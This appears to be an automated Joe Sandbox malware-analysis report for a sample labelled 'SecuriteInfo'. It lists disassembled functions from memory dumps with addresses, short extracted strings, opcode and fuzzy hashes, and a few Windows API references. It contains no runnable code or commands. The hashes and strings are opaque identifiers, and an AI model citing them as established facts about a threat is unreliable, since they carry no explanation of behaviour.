Opcode ID: e17ceb1642a15c5ac71f92b1c8cdddf8542caca782fc66b42de946576ac473ef
Instruction ID: 32d75a5797cd78b5fa581d238fe8455e6a28b73542c000d9ddd01fee64e414b6
Opcode Fuzzy Hash: e17ceb1642a15c5ac71f92b1c8cdddf8542caca782fc66b42de946576ac473ef
Instruction Fuzzy Hash: 6C91B2B4E01218CFDB14DFA9D884A9DBBF2BF89310F14C069E809AB365DB349945DF50

Function 00FAC751 Relevance: 6.4, Strings: 5, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH]q, xrefs: 00FAC9A7
Lj@p, xrefs: 00FAC945
Lj@p, xrefs: 00FAC92F
0o@p, xrefs: 00FAC7C2
PH]q, xrefs: 00FAC9B8

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 813570c96a9d76c3b43cc8b3218571b7aaf36769af8eb0daeaae87b085ab6409
Instruction ID: 154fe8a20d781db8d49aaf9bf5fa7fb198e548fd1a85bcbd1d3d1eb8aea07c1c
Opcode Fuzzy Hash: 813570c96a9d76c3b43cc8b3218571b7aaf36769af8eb0daeaae87b085ab6409
Instruction Fuzzy Hash: 1E81C5B4E00218DFDB14DFAAD984A9DBBF2BF89310F14C469E809AB365DB349941DF50

Function 00FA4AD9 Relevance: 6.4, Strings: 5, Instructions: 188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 00FA4CB8
PH]q, xrefs: 00FA4D30
Lj@p, xrefs: 00FA4CCE
0o@p, xrefs: 00FA4B4A
PH]q, xrefs: 00FA4D41

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 94f6e5896a062e199f5e58223ef057d1c0b0f85e8ad577dfefb122fdf10b0583
Instruction ID: b5549b10c4928211b2263ca646977e55be9ad9ab78f5d9cd7db1b925149dd496
Opcode Fuzzy Hash: 94f6e5896a062e199f5e58223ef057d1c0b0f85e8ad577dfefb122fdf10b0583
Instruction Fuzzy Hash: A981D3B4E01218DFDB14DFA9D884A9DBBF2BF89310F10C069E819AB365DB74A941DF50

Function 00FACA31 Relevance: 6.4, Strings: 5, Instructions: 188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH]q, xrefs: 00FACC98
Lj@p, xrefs: 00FACC25
Lj@p, xrefs: 00FACC0F
PH]q, xrefs: 00FACC87
0o@p, xrefs: 00FACAA2

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 70a0bed12c639842dfc6660148f33ffc74e286939e0e721130bc458e9c996a8d
Instruction ID: 34c0516813f55b9d35394607369ef4a4627ae9111b6e72886742380d1b905483
Opcode Fuzzy Hash: 70a0bed12c639842dfc6660148f33ffc74e286939e0e721130bc458e9c996a8d
Instruction Fuzzy Hash: C281B5B4E00218DFDB14DFA9D984A9DBBF2BF89310F14C069E819AB365DB349941DF60

Function 00FAC470 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 00FAC665
PH]q, xrefs: 00FAC6D8
0o@p, xrefs: 00FAC4E2
Lj@p, xrefs: 00FAC64F
PH]q, xrefs: 00FAC6C7

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: de0b2ba7a4daf019d237e513200f7a62eec7568fdd026919fa5dc045d66eeb8e
Instruction ID: 207366b0163a4d98bf28ad3666a7f7cfcce9abf6434c8fcd4b24eb2b9e9aa7f3
Opcode Fuzzy Hash: de0b2ba7a4daf019d237e513200f7a62eec7568fdd026919fa5dc045d66eeb8e
Instruction Fuzzy Hash: E981E5B4E00218CFDB14DFAAD984A9DBBF2BF89310F14C469E819AB365DB349941DF50

Function 00FABBD2 Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 00FABDC5
PH]q, xrefs: 00FABE27
PH]q, xrefs: 00FABE38
0o@p, xrefs: 00FABC42
Lj@p, xrefs: 00FABDAF

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: fce955c98ede1fb76bc121c930d20e16a33d072274b1bb511bcdfddc21d26113
Instruction ID: 9aa01c17a3263336641f5c25de34c4972c401f3416e378a5a3a18da99e1cdd06
Opcode Fuzzy Hash: fce955c98ede1fb76bc121c930d20e16a33d072274b1bb511bcdfddc21d26113
Instruction Fuzzy Hash: 5481B5B4E00258DFDB14DFA9D984A9DBBF2BF89310F14C069E809AB366DB349941DF10

Function 00FAB4F3 Relevance: 3.9, Strings: 3, Instructions: 161COMMON

Download Yara Rule

Strings

0o@p, xrefs: 00FAB562
PH]q, xrefs: 00FAB758
PH]q, xrefs: 00FAB747

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0o@p$PH]q$PH]q
API String ID: 0-2023588385
Opcode ID: b881334560d4c3965b2c345c311c0bd6bc4cd4e0bfc7ef7d484c808bc43bef69
Instruction ID: 1c0c99bdb2b354a00075d65b73239baa9564b1f5259ae0a93d6da192e7077b03
Opcode Fuzzy Hash: b881334560d4c3965b2c345c311c0bd6bc4cd4e0bfc7ef7d484c808bc43bef69
Instruction Fuzzy Hash: 9461E8B4E042589FDB18DFAAD944A9DBBF2FF89310F14C069E804AB366DB349941DF10

Function 00FA9858 Relevance: 3.4, Strings: 2, Instructions: 857COMMON

Download Yara Rule

Strings

(o]q, xrefs: 00FA9C78
4']q, xrefs: 00FAA273

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (o]q$4']q
API String ID: 0-176817397
Opcode ID: 6116bede32143fa75b47baa70fcdcb3e307b3bafe53d93310960b11ab4b006b9
Instruction ID: df9dcdea916339a61e6fc3d6422c9f5cd7a7bab72108c2a180d5cbb130994523
Opcode Fuzzy Hash: 6116bede32143fa75b47baa70fcdcb3e307b3bafe53d93310960b11ab4b006b9
Instruction Fuzzy Hash: 5F72B0B1A04209DFCB15CF68C884AAEBBF2FF89310F158569E8059B2A1D770EC45DF61

Function 00FA6108 Relevance: 3.0, Strings: 2, Instructions: 515COMMON

Download Yara Rule

Strings

(o]q, xrefs: 00FA6642
Haq, xrefs: 00FA650E

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (o]q$Haq
API String ID: 0-903699183
Opcode ID: 1dd55d3f690706718bc69bee1ef958d5859db5ebddd08f3b8daf6adee3f22812
Instruction ID: f291136bffbbad46b1553d74d7f71e0fb3ee6081ca48d939696bf91f048bc98e
Opcode Fuzzy Hash: 1dd55d3f690706718bc69bee1ef958d5859db5ebddd08f3b8daf6adee3f22812
Instruction Fuzzy Hash: 4B12AEB0A002198FDB14DF69C844AAEBBF6FF89304F248569E845DB391DF349D46DB90

Function 00FAF01F Relevance: .7, Instructions: 715COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04427d702594d71969bc13624d0d8a9ff3af18a214c62e3c1d62f82a13a96025
Instruction ID: 65632708eecc8bdb8f4b97a1780bdaf9c7d420ebbe2c2acb0354fe6e3c46698f
Opcode Fuzzy Hash: 04427d702594d71969bc13624d0d8a9ff3af18a214c62e3c1d62f82a13a96025
Instruction Fuzzy Hash: 9372DFB4E012298FDB65DF69C880BEDBBB2BF49300F5481E9D408AB255DB349E85DF50

Function 00FA6E58 Relevance: 10.5, Strings: 8, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o]q, xrefs: 00FA7377
(o]q, xrefs: 00FA701A
,aq, xrefs: 00FA72F8
(o]q, xrefs: 00FA6F51
(o]q, xrefs: 00FA6F7D
,aq, xrefs: 00FA7308
(o]q, xrefs: 00FA6E96
(o]q, xrefs: 00FA7367

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q$(o]q$(o]q$,aq$,aq
API String ID: 0-1435242062
Opcode ID: a0e96f5c423f2e43273d8fae009f1dac6de67dfd928933104aac5e4b7ba3c02d
Instruction ID: dd4f6d94df0bf956fecd95fb2d3401cff468ae07566a44a1e0cb393fffe85116
Opcode Fuzzy Hash: a0e96f5c423f2e43273d8fae009f1dac6de67dfd928933104aac5e4b7ba3c02d
Instruction Fuzzy Hash: A5127971A046098FCB14DF68D984EAEBBF6FF8A314F158599E805DB2A1D730EC41DB50

Function 00FA87E9 Relevance: 4.2, Strings: 3, Instructions: 498
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

;]q, xrefs: 00FA8C2C
4']q, xrefs: 00FA8837
4']q, xrefs: 00FA8811

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 4']q$4']q$;]q
API String ID: 0-1096896373
Opcode ID: c43cd4cc5480596e403ddf1b1521f97a1ba5e1675405b6606e5f950f58be0f7c
Instruction ID: 7e4df8f02fd77d71ae3eac6021e3e25d45e42ba950acdb2bed2ed7104a719abf
Opcode Fuzzy Hash: c43cd4cc5480596e403ddf1b1521f97a1ba5e1675405b6606e5f950f58be0f7c
Instruction Fuzzy Hash: C1F1A1B1B141018FDB199B28C954B397796AFC77A4F1944AAE402CF3B1EEA8CC43E751

Function 00FA77F0 Relevance: 3.2, Strings: 2, Instructions: 702
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 00FA8314
$]q, xrefs: 00FA8337

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 584e59df52bfd4aab787a5f00aff8d0502bf05a9215b6afe1552ffa369017c13
Instruction ID: 1a8f22ac76c6de6362c16a0d6938ab4840267282abd7efcc61726f7bdd06c1a2
Opcode Fuzzy Hash: 584e59df52bfd4aab787a5f00aff8d0502bf05a9215b6afe1552ffa369017c13
Instruction Fuzzy Hash: E0525574A00218CFEB159BA4D960B9FBBB6EF94300F1080A9D50A6B3A5CF345E45DFA5

Function 00FA56A8 Relevance: 2.8, Strings: 2, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 00FA57C6
Haq, xrefs: 00FA5793

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: 9fe8044cb2109685ded7fa75fa185cd3e6f6807832148930f744235acc2672d3
Instruction ID: 83a93341c6d4492e3041244cc860065b4354ba10a9fa48052baeaba2504a39e6
Opcode Fuzzy Hash: 9fe8044cb2109685ded7fa75fa185cd3e6f6807832148930f744235acc2672d3
Instruction Fuzzy Hash: 33B1E2B1B046148FCB159F38D894B7E7BA6AF8A710F148969E446CB391DF38CC05E7A0

Function 00FA5C08 Relevance: 2.7, Strings: 2, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,aq, xrefs: 00FA5CE8
,aq, xrefs: 00FA5CDE

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: ,aq$,aq
API String ID: 0-2990736959
Opcode ID: c5d2b218a5460267fc9d7c2eb4a4250ef3a0865cbf75454caa597c77e039908b
Instruction ID: 88351de8c26053a8737059469851a425c529655e5f2a926fd1ace63930cb5565
Opcode Fuzzy Hash: c5d2b218a5460267fc9d7c2eb4a4250ef3a0865cbf75454caa597c77e039908b
Instruction Fuzzy Hash: 8081B1B5A04A05DFCB14CFB8C488A6EB7B2FF8AB24B248169D405DB365D731ED41DB50

Function 00FA3428 Relevance: 2.6, Strings: 2, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xaq, xrefs: 00FA3435
Xaq, xrefs: 00FA345E

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Xaq$Xaq
API String ID: 0-1488805882
Opcode ID: daeee8bd7212c9d11aa3a9106e12a8d45a547b2b5e1864b25a828af5909118b1
Instruction ID: ee6956cad828324ad96b54cc08d87c872e86491c14ca9b5c2f3c7f3f39075377
Opcode Fuzzy Hash: daeee8bd7212c9d11aa3a9106e12a8d45a547b2b5e1864b25a828af5909118b1
Instruction Fuzzy Hash: 8131F7B2F043258BDF1D8E69599427EA5DABBCA320F184439FC06C3384DF74CE05A661

Function 00FA0C8F Relevance: 1.7, Strings: 1, Instructions: 401COMMON

Download Yara Rule

Strings

LR]q, xrefs: 00FA0E5E

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 2bf18f9da8015e017edcd9380e17c5990192e03151c5cfd034f617a08e496ee4
Instruction ID: 5076ac7af798c90a51368e66eb7e2f2ed5b08acd22de06ed638c016ec511f28c
Opcode Fuzzy Hash: 2bf18f9da8015e017edcd9380e17c5990192e03151c5cfd034f617a08e496ee4
Instruction Fuzzy Hash: 5E220974A14219CFCB54EF64ED85A9DBBB1FF88300F1085A9D809AB369DB346D49CF50

Function 00FA0CA0 Relevance: 1.6, Strings: 1, Instructions: 395COMMON

Download Yara Rule

Strings

LR]q, xrefs: 00FA0E5E

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: bfdc5a2311447b6fa53f0002f8f4464da22b1349325778bbe0b29632be56edae
Instruction ID: d2069aeeef02236a4daff6375da9331eb08ef7a3b381464fd91de07922874ead
Opcode Fuzzy Hash: bfdc5a2311447b6fa53f0002f8f4464da22b1349325778bbe0b29632be56edae
Instruction Fuzzy Hash: 2D22F874914219CFCB54EF64ED89A9DBBB1FF88300F1085A9D809AB369DB346D49CF50

Function 05647B24 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05648D59

Memory Dump Source

Source File: 00000004.00000002.3272845389.0000000005640000.00000040.00000800.00020000.00000000.sdmp, Offset: 05640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5640000_SecuriteInfo.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 17cf8729502a6b4a978b4873557801bc8f9d299441fbee18f26168265b0582c8
Instruction ID: accffc53fe1753633264785fc2ae378e64fa8b2d724ccf9556b9438e13caafa8
Opcode Fuzzy Hash: 17cf8729502a6b4a978b4873557801bc8f9d299441fbee18f26168265b0582c8
Instruction Fuzzy Hash: AB41E5B4A002099FCB14DF99C488AAAFBF6FF99314F24C459D519AB321D774A941CFA0

Function 056476BC Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,05647E6E,?,?,?,?,?), ref: 05647F2F

Memory Dump Source

Source File: 00000004.00000002.3272845389.0000000005640000.00000040.00000800.00020000.00000000.sdmp, Offset: 05640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5640000_SecuriteInfo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 6fa247d9ef5edc386ff66bd4e7ec447437cd3186bf84ff976faa59a8f70be6d6
Instruction ID: 727946fdbd63f1da992be825a429312eca088329e9706bc59b40b4e535fc25b5
Opcode Fuzzy Hash: 6fa247d9ef5edc386ff66bd4e7ec447437cd3186bf84ff976faa59a8f70be6d6
Instruction Fuzzy Hash: AD21E3B59002489FDB10CFAAD584AEEBBF9FB48310F14805AE918A7310D378A951CFA1

Function 05647EA0 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,05647E6E,?,?,?,?,?), ref: 05647F2F

Memory Dump Source

Source File: 00000004.00000002.3272845389.0000000005640000.00000040.00000800.00020000.00000000.sdmp, Offset: 05640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5640000_SecuriteInfo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: da67d68d055b775288a2dc68dc7bcb08f823ec6af73b43e8d63d86bd4a804fc2
Instruction ID: 98570ebbdefe9cbcd8755750e3a5eb639becde6300f5acebf4f6b3b04e17703c
Opcode Fuzzy Hash: da67d68d055b775288a2dc68dc7bcb08f823ec6af73b43e8d63d86bd4a804fc2
Instruction Fuzzy Hash: 2A21DFB69012489FDB10CFAAD584AEEBFF4FB48310F14841AE959A3310D378A955CFA1

Function 05642B5C Relevance: 1.5, APIs: 1, Instructions: 47timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,02976428,?,?), ref: 05648F4D

Memory Dump Source

Source File: 00000004.00000002.3272845389.0000000005640000.00000040.00000800.00020000.00000000.sdmp, Offset: 05640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5640000_SecuriteInfo.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 55c1f4b6abf3ddf7b03cf5db350f847ab51a6caeda4a33c1093a28032e0e75c1
Instruction ID: 2a10ecc05dd129787d656e0fa9a530c1d2b4b8c5cf9bb6fb30d44fcc7ba926c7
Opcode Fuzzy Hash: 55c1f4b6abf3ddf7b03cf5db350f847ab51a6caeda4a33c1093a28032e0e75c1
Instruction Fuzzy Hash: 8511F2B58003499FCB10DF9AD484BEEBBF9EB48310F10845AE918A7310C379A944CFA5

Function 05648EE9 Relevance: 1.5, APIs: 1, Instructions: 46timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,02976428,?,?), ref: 05648F4D

Memory Dump Source

Source File: 00000004.00000002.3272845389.0000000005640000.00000040.00000800.00020000.00000000.sdmp, Offset: 05640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5640000_SecuriteInfo.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: a22cad5d1a725e233c302719370807a28e23c921dc1303a3fcb709c58b1d3238
Instruction ID: 367b92b818c99938e870d90d8208e34b059283488b6bd9424a41b22b830b7db6
Opcode Fuzzy Hash: a22cad5d1a725e233c302719370807a28e23c921dc1303a3fcb709c58b1d3238
Instruction Fuzzy Hash: 5A11E3B58002499FDB10DF99D545BDEFBF8EB49310F108459E558A3200C375A544CFA1

Function 00FAA650 Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

(o]q, xrefs: 00FAA7D9

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (o]q
API String ID: 0-794736227
Opcode ID: d9ec371c22d02d1461e89f18c94919e3f41489b7640e2d5c1685f24fc7432057
Instruction ID: e746211f5c0eb31297e2c7c6f097c38b57823d4c690ae6d711aaed8a4789e819
Opcode Fuzzy Hash: d9ec371c22d02d1461e89f18c94919e3f41489b7640e2d5c1685f24fc7432057
Instruction Fuzzy Hash: A341DB35B042488FDB159B78D854ABE7BF2AFC9310F1448A9E946D7391CE358C16CBA1

Function 00FA77E0 Relevance: .6, Instructions: 571COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cf3a2770c3ccbb8dbc82b589105fe9f91a3f244b34780bd3794a3e39e7038ed
Instruction ID: 496391d3750279730424f1a7b84b7f666dd925438772b61c09f3527b690d4628
Opcode Fuzzy Hash: 9cf3a2770c3ccbb8dbc82b589105fe9f91a3f244b34780bd3794a3e39e7038ed
Instruction Fuzzy Hash: 62423274A0021CCFEB159BA4D960B9FBBB6EF94300F1080A9D50A6B3A5CF345E45DFA5

Function 00FAA818 Relevance: .4, Instructions: 410COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e272caa67b1a6eae6bc2c3ad66d71aab230bf16b8be9fd4eff3f39e301ab3dc2
Instruction ID: 92cc4dfa1f53723362fb6e5cd31854882459cc27902e5a29af2edcbb2cc8c0e4
Opcode Fuzzy Hash: e272caa67b1a6eae6bc2c3ad66d71aab230bf16b8be9fd4eff3f39e301ab3dc2
Instruction Fuzzy Hash: 98F13DB1E402158FCB04CFACC9849ADBBF6FF89350B1A8059E415AB362C735EC45DB61

Function 00FA7438 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a5b4c41ea82a28cbb764b2c857220dbfd7b6bbc9346dc456e97740114c6fb94
Instruction ID: f9d3a9f0e851746c54472ce214a7e6991626b4050753961ac8c20421992665d9
Opcode Fuzzy Hash: 1a5b4c41ea82a28cbb764b2c857220dbfd7b6bbc9346dc456e97740114c6fb94
Instruction Fuzzy Hash: 39711B75B08605CFCB15EF28C894E697BE5AF4A710F1940A9E806CB3B1DB74DC41EB90

Function 00FACEC7 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4604687f41b13979dd2d50a8c257beab356d359e7845c0a350baf92a5e0166c
Instruction ID: c693b1e5e116e2823f21868020f6314c02971c2f9e90905483cecd9ad5f9ab1e
Opcode Fuzzy Hash: b4604687f41b13979dd2d50a8c257beab356d359e7845c0a350baf92a5e0166c
Instruction Fuzzy Hash: C751CD758A9707CFD3042B20F9AC17ABBA1FF5F72B7006C14A00ED51699B30646ACE70

Function 00FACED8 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a31ae15776819bc07fef03d801aeba02400fe731eb743a27add6f26fc05dbbb3
Instruction ID: fdcedbcfe7a3f07fd9569104370ebcadd222571389b8567247bb5ae2a37daf67
Opcode Fuzzy Hash: a31ae15776819bc07fef03d801aeba02400fe731eb743a27add6f26fc05dbbb3
Instruction Fuzzy Hash: 3051AB708A9707CFD2042B20FAAC13EBBA5FF5F72B7446D14A00ED51699B706469CA70

Function 00FAE2EF Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aeb6f93db3151376e1c33b1ac7e7c8ebd35cd249d30c3fbcee6aa61191d4183
Instruction ID: 0d5d2d2036f68788423173e085ef1a1e14f985f80a4df798680ca44223d99d3b
Opcode Fuzzy Hash: 0aeb6f93db3151376e1c33b1ac7e7c8ebd35cd249d30c3fbcee6aa61191d4183
Instruction Fuzzy Hash: E3615674D00318CFDB14DFA5D944AAEBBB2FF89304F208529D849AB396DB395946CF41

Function 00FACD10 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f4d614d948671bddd3d9f00f0ac4ed944f3a9c76e8da081c07e886a4bb90177
Instruction ID: a281888a2022867059dd25bb48a0d856a7ea0c4fc02753cf6d71925be2cf28c3
Opcode Fuzzy Hash: 1f4d614d948671bddd3d9f00f0ac4ed944f3a9c76e8da081c07e886a4bb90177
Instruction Fuzzy Hash: 02517074E01218DFDB44DFA9D98499DBBF2FF89310F208169E819AB365DB31A902CF50

Function 00FA3908 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba2b55c94260cf9d0d383b1510a19f348f1a40e0aa6c432a12e4c59a82d0908a
Instruction ID: 900a6f63e5f7623875f44d6519d18f41d313ceed247f313f22005e6f30761bd5
Opcode Fuzzy Hash: ba2b55c94260cf9d0d383b1510a19f348f1a40e0aa6c432a12e4c59a82d0908a
Instruction Fuzzy Hash: 8F519575E11308CFCB08DFA9D99499DBBF2FF89310B209469E805AB364DB35A945CF50

